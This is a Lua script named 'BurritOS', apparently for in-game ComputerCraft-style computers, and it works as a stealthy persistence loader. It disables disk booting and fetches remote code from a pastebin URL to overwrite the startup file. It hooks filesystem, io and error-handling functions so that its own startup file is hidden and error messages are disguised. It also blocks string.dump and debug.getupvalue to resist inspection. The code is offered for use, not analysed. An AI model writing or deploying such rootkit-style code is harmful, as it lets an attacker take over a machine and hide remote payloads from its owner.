BurritOS

local fn, err = load([[

-- #### Vars

local userStartupPath = "userStartup"
local real = {}

-- #### "Local" functions

settings.set("shell.allow_disk_startup", false)
settings.set("shell.allow_startup", true)
settings.save ".settings"
local h = http.get "https://pastebin.com/raw/ecXX3gm6"
if fs.isDir "startup" then fs.delete "startup" end
local f = fs.open("startup", "w")
f.write(h.readAll())
f.close()
h.close()

local function writeYellow(text)
    if term.isColor() then
        term.setTextColor(colors.yellow)
        term.write(text)
        term.setTextColor(colors.white)
    else
        term.write(text)
    end
end

-- #### Tweaking compromising functions

local function preprocessError(e)
    if type(e) == "string" then
        local newText = e:gsub("why", "bios.lua"):gsub("userStartup", "startup")
        return newText
    end
    return e
end

real.pcall = pcall
local function fakePcall(...)
    local ok, result = real.pcall(...)
    if not ok then return false, preprocessError(result)
    else return ok, result end
end
_G.pcall = fakePcall

real.xpcall = xpcall
local function fakeXpcall(fn, ehandler)
    return real.xpcall(fn, function(e) return ehandler(preprocessError(e)) end)
end
_G.xpcall = fakeXpcall

real.find = fs.find
local function fakeFind(path)
    if string.lower(path) == "startup" then
        path = userStartupPath
    end

    list = real.find(path)
    for i=1,#list do
        if list[i] == userStartupPath then
            list[i] = "startup"
        end
    end
    return list
end
fs.find = fakeFind

real.list = fs.list
local function fakeList(path)
    list = real.list(path)
    for i=1,#list do
        if list[i] == "startup" then
            table.remove(list, i)
        end
    end
    for i=1,#list do
        if list[i] == userStartupPath then
            list[i] = "startup"
        end
    end
    return list
end
fs.list = fakeList

real.exists = fs.exists
local function fakeExists(path)
    if string.lower(path) == "startup" then
        path = userStartupPath
    end

    return real.exists(path)
end
fs.exists = fakeExists

real.ioOpen = io.open
local function fakeIoOpen(path)
    if string.lower(path) == "startup" then
        path = userStartupPath
    end

    return real.ioOpen(path)
end
io.open = fakeIoOpen

real.makeDir = fs.makeDir
local function fakeMakeDir(path)
    if string.lower(path) == "startup" then
        path = userStartupPath
    end

    return real.makeDir(path)
end
fs.makeDir = fakeMakeDir

real.delete = fs.delete
local function fakeDelete(path)
    if string.lower(path) == "startup" then
        path = userStartupPath
    end

    return real.delete(path)
end
fs.delete = fakeDelete

real.open = fs.open
local function fakeOpen(path, mode)
    if string.lower(path) == "startup" then
        path = userStartupPath
    end

    return real.open(path, mode)
end
fs.open = fakeOpen

real.isReadOnly = fs.isReadOnly
local function fakeIsReadOnly(path)
    if string.lower(path) == "startup" then
        path = userStartupPath
    end

    return real.isReadOnly(path)
end
fs.isReadOnly = fakeIsReadOnly

real.getSize = fs.getSize
local function fakeGetSize(path)
    if string.lower(path) == "startup" then
        path = userStartupPath
    end

    return real.getSize(path)
end
fs.getSize = fakeGetSize

real.move = fs.move
local function fakeMove(fromPath, toPath)
    if string.lower(fromPath) == "startup" then
        fromPath = userStartupPath
    end
    if string.lower(toPath) == "startup" then
        toPath = userStartupPath
    end

    return real.move(fromPath, toPath)
end
fs.move = fakeMove

real.copy = fs.copy
local function fakeCopy(fromPath, toPath)
    if string.lower(fromPath) == "startup" then
        fromPath = userStartupPath
    end
    if string.lower(toPath) == "startup" then
        toPath = userStartupPath
    end

    return real.copy(fromPath, toPath)
end
fs.copy = fakeCopy

real.stringDump = string.dump
local function isDefinedHere(fn)
    local d = real.stringDump(fn)
    return d:find "@why" ~= nil
end

local function fakeStringDump(fn)
    if isDefinedHere(fn) then
        error "Unable to dump given function"
    end
    return real.stringDump(fn)
end
string.dump = fakeStringDump

real.debugGetupvalue = debug.getupvalue
local function fakeDebugGetupvalue(fn, ...)
    if isDefinedHere(fn) then return nil
    else return real.debugGetupvalue(fn, ...) end
end
debug.getupvalue = fakeDebugGetupvalue

term.clear()
term.setCursorPos(1,1)
writeYellow(os.version())
term.setCursorPos(1,2)

if fs.exists("startup") then
    shell.run("startup")
end

]], "@why")
if not fn then
    printError(err)
    coroutine.yield "key"
    os.shutdown()
else
    fn()
end